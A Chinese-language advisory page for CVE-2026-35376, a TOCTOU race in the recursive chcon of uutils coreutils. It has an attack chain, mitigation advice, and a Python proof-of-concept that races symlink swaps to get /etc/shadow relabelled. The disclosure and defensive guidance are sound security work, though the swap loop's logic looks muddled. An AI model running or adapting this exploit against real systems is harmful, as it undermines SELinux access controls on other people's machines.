IPBUF安全漏洞报告
English
CVE-2026-35376 CVSS 4.5 中危

CVE-2026-35376 uutils coreutils chcon TOCTOU漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35376
漏洞类型
TOCTOU竞态条件
CVSS评分
4.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

TOCTOURace ConditionSELinuxuutilsPrivilege EscalationLocal

漏洞概述

uutils coreutils 软件包中的 chcon 工具在执行递归操作时存在检查时与使用时(TOCTOU)竞态条件漏洞。该漏洞源于实现过程中未将文件遍历与标签应用绑定到特定的目录文件描述符,而是依赖路径查找。拥有目录写权限的本地攻击者可利用此缺陷,通过精心构造的重命名或符号链接竞态,劫持特权递归标记操作,进而未授权修改敏感系统对象的安全标签,破坏 SELinux 管理预期。

技术细节

该漏洞的核心技术原理在于 uutils coreutils 的 `chcon` 实现在处理递归目录遍历时,未采用原子性操作。程序使用 `fts_accpath` 对目标进行路径解析,而非将遍历过程与后续的标签修改操作绑定到特定的目录文件描述符(如 `openat2` 系统调用)。这种分离的设计引入了经典的 TOCTOU 竞态窗口。攻击者利用该时间窗口,在工具解析完路径但尚未应用 SELinux 标签的间隙,通过并发执行 `rename()` 系统调用或创建符号链接来交换文件对象。由于缺乏文件描述符的锚定,工具无法检测到底层 inode 的变化,最终导致高权限的标记操作被劫持,错误地将安全标签应用到攻击者控制的敏感系统文件上,破坏了系统的强制访问控制完整性。

攻击链分析

STEP 1
步骤1
攻击者获取对系统中某个目录树的写权限(PR:L)。
STEP 2
步骤2
攻击者在目录中创建初始文件结构,并编写脚本准备进行竞态攻击。
STEP 3
步骤3
当特权用户或系统脚本执行递归的 chcon 命令时,攻击者并发运行竞态脚本。
STEP 4
步骤4
利用 TOCTOU 窗口,将 chcon 正在处理的路径替换为指向敏感文件(如 /etc/shadow)的符号链接。
STEP 5
步骤5
chcon 错误地将新的安全标签应用到了敏感文件上,导致系统安全策略被绕过。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import subprocess import threading import time # PoC for CVE-2026-35376: TOCTOU in uutils chcon # This script attempts to race the chcon utility by swapping a file # with a symlink to a sensitive target during recursive traversal. TARGET_DIR = "test_chcon_dir" SAFE_FILE = "safe.txt" SYMLINK_TARGET = "/etc/shadow" # Sensitive file to relabel TEMP_FILE = "temp_exchange" def setup(): """Create the directory structure for testing.""" if not os.path.exists(TARGET_DIR): os.makedirs(TARGET_DIR) with open(os.path.join(TARGET_DIR, SAFE_FILE), 'w') as f: f.write("innocent data") def race_exploit(): """Continuously swap the file to hit the TOCTOU window.""" print("[+] Starting race thread...") while True: try: # Rename the safe file out of the way os.rename(os.path.join(TARGET_DIR, SAFE_FILE), os.path.join(TARGET_DIR, TEMP_FILE)) # Place a symlink to the sensitive target os.symlink(SYMLINK_TARGET, os.path.join(TARGET_DIR, SAFE_FILE)) # Quickly swap back (or rotate) to maintain plausible structure os.rename(os.path.join(TARGET_DIR, SAFE_FILE), os.path.join(TARGET_DIR, TEMP_FILE)) os.rename(os.path.join(TARGET_DIR, TEMP_FILE), os.path.join(TARGET_DIR, SAFE_FILE)) except Exception as e: pass def trigger_vulnerability(): """Simulate the privileged chcon recursive operation.""" print("[+] Triggering chcon recursive operation...") # Note: This requires a context where chcon is actually running # and SELinux is enforcing. This is a simulation of the command. cmd = ["chcon", "-R", "-t", "etc_t", TARGET_DIR] # In a real scenario, this might be called by a cron job or script try: subprocess.run(cmd, check=True) except FileNotFoundError: print("chcon command not found, skipping execution.") except subprocess.CalledProcessError: print("chcon failed, expected if not root or SELinux disabled.") if __name__ == "__main__": setup() # Start the race condition thread attacker_thread = threading.Thread(target=race_exploit) attacker_thread.daemon = True attacker_thread.start() # Give the thread a moment to start time.sleep(0.1) # Trigger the vulnerable command trigger_vulnerability() print("[+] Exploit attempt finished.") print("[!] Check if /etc/shadow label has been modified.")

影响范围

uutils coreutils < 0.8.0

防御指南

临时缓解措施
建议限制非特权用户对关键目录树的写入权限,防止其创建用于竞态攻击的目录结构。在未升级补丁前,尽量避免在不可信目录上运行递归的 chcon 命令,或使用内核级别的保护机制(如 symlink ownership checks)来缓解符号链接攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表